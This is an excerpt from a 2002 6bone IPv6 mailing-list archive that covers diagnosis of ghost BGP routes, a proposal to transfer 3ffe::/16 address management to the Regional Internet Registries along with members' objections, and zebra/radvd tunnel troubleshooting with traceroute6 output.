      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Tue Aug 20 01:44:17 2002

  2042 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2012::2 from 3ffe:81f1:1:2012::2 (202.187.22.65)
    (fe80::cabb:1602)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:14:26 2002

  17715 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609 1275
20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982 3265 513
559 9044 10566 7580 145 293
    3ffe:81f1:1:2021::2 from 3ffe:81f1:1:2021::2 (203.66.90.5)
    (fe80::ca27:8e91)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:14:26 2002

parcr2.fr.ndsoftwarenet.net:

BGP routing table entry for 3ffe:200::/24
Paths: (5 available, best #1, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:81f1:0:2::2
  6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609 1275 20834
2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982 3265 513 559
9044 10566 7580 145 293
    3ffe:81f1:0:1::1 from 3ffe:81f1:0:1::1 (213.91.4.3)
    (fe80::d55b:403)
      Origin IGP, metric 800, localpref 100, valid, internal, best
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Tue Aug 20 09:58:26 2002

  762 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609 1275
20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982 3265 513
559 9044 10566 7580 145 293
    3ffe:1300:1:e::1 from 3ffe:1300:1:e::1 (199.242.42.3)
    (fe80::260:97ff:fe29:75e5)
      Origin IGP, metric 800, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Tue Aug 20 03:00:02 2002

  8973 8664 13110 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472
6830 5609 1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944
15982 3265 513 559 9044 10566 7580 145 293
    3ffe:4008:1::11 from 3ffe:4008:1::11 (192.16.124.2)
    (fe80::c010:7c02)
      Origin IGP, metric 600, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 11:23:34 2002

  1752 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    3ffe:81f1:1:2101::2 from 3ffe:81f1:1:2101::2 (193.113.58.80)
    (fe80::c171:3a50)
      Origin IGP, metric 1000, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 04:57:12 2002

  8379 6939 6175 ->10318 33 22 11537 786 1849 5539 517 8472 6830 5609
1275 20834 2549 3320 24765 1930 2200 5511 8733 2611 8002 13944 15982
3265 513 559 9044 10566 7580 145 293
    2001:768:e:11::1 from 2001:768:e:11::1 (195.143.108.166)
    (fe80::2d0:79ff:fee2:7800)
      Origin IGP, metric 1000, localpref 100, valid, external
      Community: 65526:502 65526:511 65526:521 65526:900 65526:1000
65526:1500
      Last update: Mon Aug 19 21:24:07 2002


=> The router of ghost routes is in AS10318 (FIBERTEL).
http://www.sprintv6.net/aspath/bgp-page-complete.html confirm that (see
FIBERTEL's branch).

If the whois of FIBERTEL (http://whois.6bone.net/cgi-bin/whois?FIBERTEL)
is update the router of FIBERTEL is cisco-ipv4.ipv6.fibertel.com.ar, a
Cisco 2600.

$ whois AS10318
Latin American and Caribbean IP address Regional Registry
(ASN-LACNIC-10318)
   Chucarro 1110 ap. 5
   Montevideo, 11300
   UY

   Autonomous System Name: LACNIC-10318
   Autonomous System Number: 10318

   Coordinator:
      Latin American and Caribbean IP address Regional Registry 
(LACNIC-ARIN)  hostmaster@lacnic.net
      (+55) 11 5509-3525

   Record last updated on 27-Jul-2002.
   Database last updated on  19-Aug-2002 21:20:16 EDT.

The ARIN Registration Services Host contains ONLY Internet
Network Information: Networks, ASN's, and related POC's.
Please use the whois server at rs.internic.net for DOMAIN related
Information and whois.nic.mil for NIPRNET Information.
$ whois -h whois.lacnic.net AS10318

% Copyright LACNIC lacnic.net
%  The data below is provided for information purposes
%  and to assist persons in obtaining information about or
%  related to AS and IP numbers registrations
%  By submitting a whois query, you agree to use this data
%  only for lawful purposes.
%  2002-08-20 11:21:46 (BRT -03:00)

aut-num:     AS10318
owner:       CABLEVISION S.A.
ownerid:     AR-CASA8-LACNIC
address:     Bonpland 1745
address:     Buenos Aires, 1026
country:     AR
owner-c:     DN1372-ARIN
created:     19970625
changed:     19970625
source:      ARIN-LACNIC-TRANSITION

nic-hdl:     DN1372-ARIN
person:      Daniel Nofal
e-mail:      dnofal@CVTCI.COM.AR
address:     Bonpland 1745
address:     1414 Buenos Aires
address:     ARGENTINA
country:     AR
phone:       +541-778-6393
source:      ARIN-LACNIC-TRANSITION

% whois.lacnic.net accepts only direct match queries.
% Types of queries are: POCs, ownerid, CIDR blocks, IP
% and AS numbers.


The ghost routes are:
3ffe:200::/24
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/SICS.php

3ffe:1400::/24
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/UNI-C.php

3ffe:1a00::/24
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/CAIRN.php

3ffe:1b00::/24
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/UL.php

3ffe:1e00::/24
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/SWISSCOM.php

3ffe:3400::/24
No report in my ASpath-tree

3ffe:8060::/28
http://noc.ndsoftwarenet.com/stats/aspath-tree/history/ATNET-AT.php

I wait your comments.

Best Regards,

Nicolas DEFFAYET


From joao@ripe.net Tue Aug 20 07:47:25 2002
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 <5.1.1.6.2.20020820094534.02aec490@mail.energy.local>
Date: Tue, 20 Aug 2002 16:47:12 +0200
To: Giacomo Cariello <jwk@bug.it>, 6bone@mailman.isi.edu
From: Joao Luis Silva Damas <joao@ripe.net>
Subject: Re: [6bone] pTLA request BUI - review closes 3 September 2002
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Get real address space, from 2001::/3. There is nothing special about 
this project.

Joao


At 10:41 +0200 20/8/02, Giacomo Cariello wrote:
>At 22.20 19/08/2002 -0400, you wrote:
>>Getting PI space from your RIR is a good idea, if you qualify.  I still
>>don't agree wanting to participate (in a testing capacity) in the DFZ is
>>justification for a pTLA.  Perhaps if TILAB won't allow you to experiment
>>with your /48 from them, you need to look for another pTLA that will.
>
>I've had a talk with CEO of Data Service, our IPv4 connectivity 
>partner and I agreed with him to anticipate IPv6 deployment schedule 
>for their organization.
>Data Service would be interested in requesting a pTLA status for 
>IPv6 deployment reasons, which would be well justified, considering 
>they are an ISP serving hundreds end-sites and regional 
>organizations and offering various types of connectivity services.
>Meanwhile, we could obtain a sub-pTLA directly from them with a 
>less-restrictive policy on what we can do with our assignment.
>Our plan is to pass our current IPv6 structure to Data Service, in 
>order to speed up their startup period. Some of their tech employees 
>have collaborated with us to create our current IPv6 network, 
>therefore I suppose there will be no problem with that.
>If it sounds reasonable, I'll contact Data Service and have them 
>start an IPv6 allocation plan and the request procedures for a 6bone 
>pTLA.
>
>
>
>Giacomo Cariello, jwk@bug.it
>KeyID: 3072/1024/0x409C9044
>Fingerprint: 7984 10FD 0460 4202 BF90 3881 CDE4 D78E 409C 9044
>
>"Put that mic in my hand and let me kick out the jams!" - MC5
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone


From galania@ipv6.inictel.gob.pe Tue Aug 20 07:55:13 2002
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Date: Tue, 20 Aug 2002 09:50:20 -0500
From: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
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Good, it compiles kernel with the USAGI, the version it is of the 
2,4,18, indeed with this the normal thing is that aparesca a global 
direction ipv6 but adds a direction to me but, knowledge treatment that 
or who generates that new direction. Somebody quizas I solve east problem?

YOSHIFUJI Hideaki / ???? wrote:

>In article <3D624D49.1090004@ipv6.inictel.gob.pe> (at Tue, 20 Aug 2002 09:08:09 -0500), Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe> says:
>
>>Consultations friends, using linux-usagi I have a particularitity, when 
>>I do ifconfig appears ipv6 global two-way traffic:
>>[root@ipv6 gino]# ifconfig
>>
>:
>
>>eth0      Link encap:Ethernet  HWaddr 00:01:02:2A:72:85 
>>          inet addr:200.60.172.132  Bcast:200.60.172.159  
>>Mask:255.255.255.224
>>          inet6 addr: 3ffe:8260:200e:1001:846a:bebb:5040:f4cd/64 
>>Scope:Global
>>          inet6 addr: fe80::201:2ff:fe2a:7285/64 Scope:Link
>>          inet6 addr: 3ffe:8260:200e:1001:201:2ff:fe2a:7285/64 Scope:Global
>>          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
>>
>:
>
>I wonder I don't understand your question / problem.
>Could you explain further details, please?
>
>--yoshfuji
>




From gert@Space.Net Tue Aug 20 08:38:55 2002
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From: Gert Doering <gert@space.net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
Cc: 6bone@mailman.isi.edu, rodolfo@fibertel.com.ar, dnofal@CVTCI.COM.AR
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Hi,

On Tue, Aug 20, 2002 at 04:40:52PM +0200, Nicolas DEFFAYET wrote:
> The ghost routes are:
> 3ffe:200::/24
> http://noc.ndsoftwarenet.com/stats/aspath-tree/history/SICS.php
> 
> 3ffe:1400::/24
> http://noc.ndsoftwarenet.com/stats/aspath-tree/history/UNI-C.php
> 
> 3ffe:1a00::/24
> http://noc.ndsoftwarenet.com/stats/aspath-tree/history/CAIRN.php

Interesting enough, those routes are not in the table at all over here.

> 3ffe:1b00::/24
> http://noc.ndsoftwarenet.com/stats/aspath-tree/history/UL.php

This prefix is seen, common element in all paths is "33 10318" (while
your paths for 3ffe:200::/24 have 10318 33).  So the culprit could be
33 (as someone else suspected) or 10318.

> 3ffe:1e00::/24
> http://noc.ndsoftwarenet.com/stats/aspath-tree/history/SWISSCOM.php

This one has a common tail that starts with "10318 33".  Weird.

> 3ffe:3400::/24
> No report in my ASpath-tree

This one is interesting, as the common tail is

... 1275 8319 13129 1752 8472 3561 3748 237 12199 10318 33 6939 6175 7580 145 293 5609 6830 8379 15982 3320

33 and 10318 are involved, but I have no other paths to 10318 than over
this very long chain.

> 3ffe:8060::/28
> http://noc.ndsoftwarenet.com/stats/aspath-tree/history/ATNET-AT.php

Not in table.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  45583  (46871)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From yoshfuji@linux-ipv6.org Tue Aug 20 09:31:22 2002
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In article <3D62572C.6020006@ipv6.inictel.gob.pe> (at Tue, 20 Aug 2002 09:50:20 -0500), Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe> says:

> Good, it compiles kernel with the USAGI, the version it is of the 
> 2,4,18, indeed with this the normal thing is that aparesca a global 
> direction ipv6 but adds a direction to me but, knowledge treatment that 
> or who generates that new direction. Somebody quizas I solve east problem?

... I don't understand ...
What do you mean by "aparesca", "quizas", "new direction" and "east problem"???

If you are talking about "link" scope addresses, see RFC2373.
If your are talking about additional "global" scope addresses, see RFC3041.

--yoshfuji

From fink@es.net Tue Aug 20 09:50:20 2002
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 responsibilities to RIRs
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6bone Folk,

As mentioned previously, and presented at the Yokohama IETF 6bone meeting, 
I have been discussing with the management of the three Regional Internet 
Registries (APNIC, ARIN, and RIPE) the transfer of 6bone 3FFE::/16 address 
space management to the RIRs. These discussions have been successful in 
that I believe we are in agreement enough that it is the time to move the 
discussion to the 6bone list and the RIR communities.

I believe that it is time for such a transfer due to the evolution of IPv6 
address allocation policies and procedures, by the RIRs, to a place of wide 
acceptance by the Internet community such that the 6bone should no longer 
be considered an address registry outside of the RIR process. Also, it is 
not in the best interest of the evolution and integration of IPv6 into the 
Internet to be relying on an individual for most of the 6bone allocation 
process (me :-); However, I am more than willing to give advice and 
assistance during a transfer as needed.

I'm including the text below of the "Policies for transfer of 6bone address 
management responsibilities to RIRs", that was the basis of the 
presentation I made in Yokohama. For the presentation, see:

<http://www.6bone.net/ngtrans/minutes/default.htm> under the 2nd heading, 
in either pdf or ppt.

Please send your comments to the 6bone list. The RIRs will be doing a 
similar review within their communities and we will do our best to 
correlate and summarize the collective responses, issues, concerns and 
changes made by the 6bone and RIR communities. I would expect the rough 
timeline for this review process to be until the end of the calendar year.


Thanks,

Bob


===
Policies for transfer of 6bone address management responsibilities to RIRs


Version: 20 August 2002


1. Introduction

6bone was established in 1996 as a continuing IPv6 test bed with the 
original purpose of testing of standards and implementations, and the more 
current focus on testing of transition and operational procedures, as well 
as application conversion.  It provides an opportunity for those wanting 
early experience and/or needing to experiment with IPv6, with a minimum of 
startup complexity, particularly in terms of address management policies, 
and at minimal cost.  It also provides an open peer process for 
information, hookup help, and support, with strong ties to the IETF process 
as well as to the operational community.

To date, 6bone address space has been allocated and registered in an 
informal process quite separate from the existing Regional Internet 
Registry system. The purpose of this proposal is to establish a long term 
model that provides for a more "official" home for 6bone address space 
management within the established Internet administrative structures. At 
the same time, the proposal recognizes that 6bone's most important 
functions as an accessible and informal test bed network must be maintained.

This document proposes the transfer of responsibility for administration of 
6bone address space (3ffe::/16) to the Regional Internet Address Registries 
(RIRs). It describes a set of policies and procedures for this transfer, 
and for the ongoing administration of 6bone address space within the RIR 
framework.

It should be noted that the ongoing operation of the 6bone, and policies 
related to it, are still the purview of the 6bone community itself. For 
example, 6bone network compliance with the 6bone routing guidelines is a 
matter for the community itself to resolve, typically by mail lists.

It is also important to continue the strongly volunteer efforts of the 
6bone, both to make it as easy and friendly as possible for individuals, 
sites and networks to experiment and learn about IPv6, but also to keep the 
process streamlined and cost-effective.

2. Definitions

a)	"6bone" and "6bone community", as it appears in section 3 below, means 
6bone organizations and individuals including the RIRs, "6bone members" 
(see below), and those participating in the 6bone mail list.

b)	6bone members are defined as entities which are approved for address 
space allocation by the 6bone community in accordance with 6bone policies, 
and who agree to be bound by those policies and the policies stated below.

c)	6bone allocations are allocations of 6bone address space which are held 
by 6bone members, or made to 6bone members in accordance with these policies.

d)	6bone address space is defined as IPv6 address space within the 
3ffe::/16 address block.

3. Policies

3.1 General

a)	In consultation with 6bone, RIRs will implement a common set of policies 
applying specifically to 6bone allocations. This will follow the current 
RFC2772, "6Bone Backbone Routing Guidelines" and/or successor documents 
resulting as an evolution of conversations in the 6bone community and the 
RIRs.;

b)	6bone members will be served by respective RIR in their region, for 
"6bone Address Services" including 6bone address allocation, database 
registration and  maintenance, and ip6.arpa registration (as described below);

c)	In order to receive 6bone address services from an RIR as described 
here, each 6bone member must "join" that RIR, that is, enter into the 
appropriate membership or services agreement with the RIR.

d)	RIR fees will be waived for 6bone address services provided by RIRs to 
6bone members (but not for other services 6bone members may require), until 
1 year after this agreement starts.  After this time each RIR may charge an 
administration fee to cover each allocation made.  This fee simply covers 
registration and maintenance, rather than the full allocation process for 
standard RIR members. This administration fee should be as low as possible 
as these requests do not have to undergo the same evaluation process as 
those requested in the normal policy environment.

e)	Organizations may receive 6bone address services from the RIR only on 
approval by 6bone, and in accordance with these policies;

f)	6bone members will have the option to receive other services from an RIR 
(including allocation of production IPv6 address space), by following the 
policy, process and procedures in place at the time of application for 
those services.

g)	Continuing compliance with 6bone policies, and with the policies defined 
here, will be verified by 6bone at least every 2 years;

3.2 6bone Address Services

a)	6bone Address Services include allocation of 6bone address space, 
registration and maintenance of database records relating to that address 
space, and registration of ip6.arpa records;

b)	6bone address space allocations will be made from 3ffe::/16 and only /32 
prefixes will be allocated. There will be exceptions for unusual and new 
proposals per joint RIR and 6bone review and approval. A relevant example 
of this is one or more new strategies such as geographic or metro addressing;

c)	No additional 6-bone address space will be allocated to any 6bone member 
(therefore no provision will be made for aggregation of multiple 
allocations, reservations etc);
d)	6bone address services will be provided strictly for experimental, 
non-commercial use;

e)	Allocations will be made on the clear and stated understanding that the 
prefix 3ffe::/16 has a limited lifetime. The dates for the termination of 
allocation from the prefix and the expiration of the prefix will be 
determined at a future date.  The RIRs will not participate in these 
determinations.

f)	6bone address space will be returned to the RIR when no longer in use, 
when reclaimed due to non-compliance with 6bone or RIR policies, or when 
3ffe: space is finally withdrawn.

g)	Registration of 6bone address space within the ip6.int zone is not 
covered by this policy, and is at option of 6bone member;

h)	Registration of 6bone sites, maintainers, persons and address space 
within the existing consolidated 6bone registry is not covered by this 
policy, and is at option of 6bone and its current policies.

3.3 Transfer of existing 6bone members

a)	Responsibility for existing 6bone members in respect of services 
described here will be transferred from 6bone to the respective RIR, at the 
option of those members individually, on entering into the appropriate 
agreement with the RIR;

b)	On joining the RIR, 6bone address registration records for the member 
concerned will be transferred from 6bone registry to the respective RIR 
database,;

c)	On joining the RIR, 6bone members may establish ip6.arpa delegation 
records in accordance with applicable RIR procedures;

d)	Legacy holders will use RIR administrative procedures for management of 
their records;

e)	There will be a sunset (2 years?) on existing 6bone members not 
transferring to RIR administrative procedures, after which their address 
allocation will be revoked.

-end



From nicolas.deffayet@ndsoftware.net Tue Aug 20 12:02:18 2002
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Subject: Re: [6bone] proposal for transfer of 6bone address management
	responsibilities to RIRs
From: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
To: Bob Fink <fink@es.net>
Cc: 6BONE List <6bone@mailman.isi.edu>
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On Tue, 2002-08-20 at 18:49, Bob Fink wrote:
> 
> c)	In order to receive 6bone address services from an RIR as described 
> here, each 6bone member must "join" that RIR, that is, enter into the 
> appropriate membership or services agreement with the RIR.

I'm not agree with that.

appropriate membership = LIR ?
If yes, it's very bad; a lot of pTLA aren't LIR and a LIR can request a
sTLA, why a LIR will request a 6bone address space ?

6bone must be open, free and independent.
A pTLA request must be free and without membership.

> 
> d)	RIR fees will be waived for 6bone address services provided by RIRs to 
> 6bone members (but not for other services 6bone members may require), until 
> 1 year after this agreement starts.  After this time each RIR may charge an 
> administration fee to cover each allocation made.  This fee simply covers 
> registration and maintenance, rather than the full allocation process for 
> standard RIR members. This administration fee should be as low as possible 
> as these requests do not have to undergo the same evaluation process as 
> those requested in the normal policy environment.

6bone address services must be free.
Since 1996 it's free and it's workfine !

Best Regards,

Nicolas DEFFAYET


From riel@conectiva.com.br Tue Aug 20 13:58:50 2002
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 responsibilities to RIRs
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On 20 Aug 2002, Nicolas DEFFAYET wrote:
> On Tue, 2002-08-20 at 18:49, Bob Fink wrote:
> >
> > c)	In order to receive 6bone address services from an RIR as described
> > here, each 6bone member must "join" that RIR, that is, enter into the
> > appropriate membership or services agreement with the RIR.
>
> I'm not agree with that.
>
> appropriate membership = LIR ?
> If yes, it's very bad; a lot of pTLA aren't LIR and a LIR can request a
> sTLA, why a LIR will request a 6bone address space ?
>
> 6bone must be open, free and independent.
> A pTLA request must be free and without membership.

Agreed.  6bone is essential for those areas of the internet
where the "normal" providers do not offer ipv6 yet.

It would be a shame if the ipv6 community would kick it's
current user community out the door...

regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".

http://www.surriel.com/		http://distro.conectiva.com/


From galania@ipv6.inictel.gob.pe Tue Aug 20 14:34:04 2002
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From: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
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a consultation from my router with zebra I do:
[root@inter2 root]# traceroute6 www.6bone.net
traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:8070:101a::2, 30 
hops max, 16 byte packets
 1  3ffe:8070:101a::1 (3ffe:8070:101a::1)  663.244 ms  496.432 ms  726.74 ms
 2  3ffe:1cff:0:f4::1 (3ffe:1cff:0:f4::1)  831.959 ms  914.281 ms  
904.641 ms
 3  3ffe:b00:c18:1:290:27ff:fe17:fc0f 
(3ffe:b00:c18:1:290:27ff:fe17:fc0f)  974.307 ms  797.269 ms *
 4  3ffe:b00:c18:1::10 (3ffe:b00:c18:1::10)  1003.09 ms * *


But from host I cannot do it, is evident that my zebra-bgpd not this 
formed good, I have the following configuration:

[root@host root]# traceroute6 3ffe:8260:200e:fffd::1
traceroute to 3ffe:8260:200e:fffd::1 (3ffe:8260:200e:fffd::1) from 
3ffe:8070:101a:1001:260:8ff:fecb:7e84, 30 hops max, 16 byte packets
 1  3ffe:8070:101a:1001:201:2ff:fe7c:ef79 
(3ffe:8070:101a:1001:201:2ff:fe7c:ef79)  1.199 ms  1.219 ms  1.144 ms
 2  * * * *
 3  * * * *


vi  /usr/local/zebra/etc/zebra.conf  :
-----------------------------------------------------
hostname inter2
password *********
enable password ********
log file /var/log/zebra/zebra.log
service advanced-vty
!
interface eth0
 ipv6 nd send-ra
 ipv6 nd prefix-advertisement 3ffe:8070:101a:1001::/64
!
interface inter2
!
line vty
!
--------------------------------------------------------
vi /usr/local/zebra/etc/bgpd.conf :
--------------------------------------------------------
hostname inter2
password *************
enable password **********
log file /var/log/zebra/bgpd.log
service advanced-vty
!
! You are free to add extra tunnels to other sites in 3ffe:8260::2000/40,
! but make sure you really understand RFC 2772 before trying to make
! private peering agreements with anybody else...
!
router bgp 46014
 ipv6 bgp network 3ffe:8070:101a::/48
!nuevo tunnel itesm
 ipv6 bgp neighbor 3ffe:8070:101a::1 remote-as 278
 ipv6 bgp neighbor 3ffe:8070:101a::1 interface inter2
 ipv6 bgp neighbor 3ffe:8070:101a::1 description UNAM mexico 6bone
 ipv6 bgp neighbor 3ffe:8070:101a::1 next-hop-self
!
access-list all permit any
!
line vty
!
----------------------------------------------------

vi /etc/radvd  :
----------------------------------------------------
interface eth0
{
        AdvSendAdvert on;
        MinRtrAdvInterval 3;
        MaxRtrAdvInterval 10;
        prefix 3ffe:8070:101a:1001::/64
        {
                AdvOnLink on;
                AdvAutonomous on;
                AdvRouterAddr off;
        };
         
};
--------------------------------------------------------


somebody can help me, that this failing, please


thanks !!





From nicolas.deffayet@ndsoftware.net Tue Aug 20 15:09:35 2002
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On Tue, 2002-08-20 at 23:28, Gino Francisco Alania Hurtado wrote:
> a consultation from my router with zebra I do:
> [root@inter2 root]# traceroute6 www.6bone.net
> traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:8070:101a::2, 30 
> hops max, 16 byte packets
>  1  3ffe:8070:101a::1 (3ffe:8070:101a::1)  663.244 ms  496.432 ms  726.74 ms
>  2  3ffe:1cff:0:f4::1 (3ffe:1cff:0:f4::1)  831.959 ms  914.281 ms  
> 904.641 ms
>  3  3ffe:b00:c18:1:290:27ff:fe17:fc0f 
> (3ffe:b00:c18:1:290:27ff:fe17:fc0f)  974.307 ms  797.269 ms *
>  4  3ffe:b00:c18:1::10 (3ffe:b00:c18:1::10)  1003.09 ms * *
> 

You can trace because your router use the tunnel's IPs.

> 
> But from host I cannot do it, is evident that my zebra-bgpd not this 
> formed good, I have the following configuration:
> 
> [root@host root]# traceroute6 3ffe:8260:200e:fffd::1
> traceroute to 3ffe:8260:200e:fffd::1 (3ffe:8260:200e:fffd::1) from 
> 3ffe:8070:101a:1001:260:8ff:fecb:7e84, 30 hops max, 16 byte packets
>  1  3ffe:8070:101a:1001:201:2ff:fe7c:ef79 
> (3ffe:8070:101a:1001:201:2ff:fe7c:ef79)  1.199 ms  1.219 ms  1.144 ms
>  2  * * * *
>  3  * * * *
> 

~$ traceroute6 3ffe:8260:200e:fffd::1
traceroute to 3ffe:8260:200e:fffd::1 (3ffe:8260:200e:fffd::1) from
3ffe:81f1:21:1::5, 30 hops max, 16 byte packets
 1  feth1-0-levgw1.fr.corp.ndsoftware.net (3ffe:81f1:21:1::1)  0.216 ms 
0.178 ms  0.223 ms
 2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.03 ms 
1.942 ms  1.683 ms
 3  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  132.792 ms 
193.106 ms  69.717 ms
 4  * compendium-ar-gw-parcr1.fr.ndsoftwarenet.net
(3ffe:81f1:1:202f::2)  94.523 ms !H  98.792 ms !H

Route missing on COMPENDIUM-AR router.

~$ traceroute6 3ffe:8070:101a:1001:260:8ff:fecb:7e84
traceroute to 3ffe:8070:101a:1001:260:8ff:fecb:7e84
(3ffe:8070:101a:1001:260:8ff:fecb:7e84) from 3ffe:81f1:21:1::5, 30 hops
max, 16 byte packets
 1  feth1-0-levgw1.fr.corp.ndsoftware.net (3ffe:81f1:21:1::1)  0.216 ms 
0.164 ms  0.13 ms
 2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.444 ms 
1.046 ms  0.973 ms
 3  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  68.132 ms 
77.848 ms  76.148 ms
 4  unam-gw-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:1:2031::2)  304.114
ms *  293.776 ms
 5  * unam-gw-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:1:2031::2)  3321.15
ms !H  3306.1 ms !H

Route missing on UNAM router.

$ traceroute6 3ffe:8070:101a::2
traceroute to 3ffe:8070:101a::2 (3ffe:8070:101a::2) from
3ffe:81f1:21:1::5, 30 hops max, 16 byte packets
 1  feth1-0-levgw1.fr.corp.ndsoftware.net (3ffe:81f1:21:1::1)  0.206 ms 
0.167 ms  0.13 ms
 2  eth1-0-parcr2.fr.ndsoftwarenet.net (3ffe:81f1:12:1::1)  1.104 ms 
1.025 ms  1.001 ms
 3  feth0-1-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:0:1::1)  97.304 ms 
101.802 ms  73.949 ms
 4  unam-gw-parcr1.fr.ndsoftwarenet.net (3ffe:81f1:1:2031::2)  298.556
ms *  294.819 ms
 5  3ffe:8070:101a::2 (3ffe:8070:101a::2)  1174 ms  1175.89 ms *

Your tunnel work.

Best Regards,

Nicolas DEFFAYET


From galania@ipv6.inictel.gob.pe Tue Aug 20 15:26:08 2002
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From: Gino Francisco Alania Hurtado <galania@ipv6.inictel.gob.pe>
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sorry , my host have :
[root@host root]# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:60:08:CB:7E:84 
          inet addr:200.60.172.137  Bcast:200.60.172.159  
Mask:255.255.255.224
          inet6 addr: fe80::260:8ff:fecb:7e84/10 Scope:Link
          *inet6 addr: 3ffe:8070:101a:1001:260:8ff:fecb:7e84/64 
Scope:Global*
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:44762 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1038 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:18330936 (17.4 Mb)  TX bytes:127363 (124.3 Kb)
          Interrupt:10 Base address:0xdc00

my router :

[root@inter2 root]# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:01:02:7C:EF:79 
          inet addr:200.60.172.144  Bcast:200.60.172.159  
Mask:255.255.255.224
          inet6 addr: fe80::201:2ff:fe7c:ef79/64 Scope:Link
          *inet6 addr: 3ffe:8260:200e:1001:201:2ff:fe7c:ef79/64 
Scope:Global*
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:8776 errors:0 dropped:0 overruns:0 frame:0
          TX packets:583 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:100
          RX bytes:3688569 (3.5 Mb)  TX bytes:64044 (62.5 Kb)
          Interrupt:11 Base address:0xc000

inter2    Link encap:IPv6-in-IPv4 
          inet6 addr: fe80::c83c:ac90/128 Scope:Link
          i*net6 addr: 3ffe:8070:101a::2/64 Scope:Global*
          UP POINTOPOINT RUNNING NOARP  MTU:1480  Metric:1
          RX packets:171 errors:0 dropped:0 overruns:0 frame:0
          TX packets:214 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:11508 (11.2 Kb)  TX bytes:19200 (18.7 Kb)
 then :

[root@host root]# traceroute6 www.6bone.net
traceroute to 6bone.net (3ffe:b00:c18:1::10) from 
*3ffe:8070:101a:1001:260:8ff:fecb:7e84* , 30 hops max, 16 byte packets
 1  3ffe:8070:101a:1001:201:2ff:fe7c:ef79 
(3ffe:8070:101a:1001:201:2ff:fe7c:ef79)  5.46 ms  1.245 ms  1.136 ms
 2  * * * *
 3 * * * *

etc ..

the configurations of zebra and radvd previously... that estara failing?






Nicolas DEFFAYET wrote:

>On Tue, 2002-08-20 at 23:28, Gino Francisco Alania Hurtado wrote:
>
>>a consultation from my router with zebra I do:
>>[root@inter2 root]# traceroute6 www.6bone.net
>>traceroute to 6bone.net (3ffe:b00:c18:1::10) from 3ffe:8070:101a::2, 30 
>>hops max, 16 byte packets
>> 1  3ffe:8070:101a::1 (3ffe:8070:101a::1)  663.244 ms  496.432 ms  726.74 ms
>> 2  3ffe:1cff:0:f4::1 (3ffe:1cff:0:f4::1)  831.959 ms  914.281 ms  
>>904.641 ms
>> 3  3ffe:b00:c18:1:290:27ff:fe17:fc0f 
>>(3ffe:b00:c18:1:290:27ff:fe17:fc0f)  974.307 ms  797.269 ms *
>> 4  3ffe:b00:c18:1::10 (3ffe:b00:c18:1::10)  1003.09 ms * *
>>
>
>You can trace because your router use the tunnel's IPs.
>
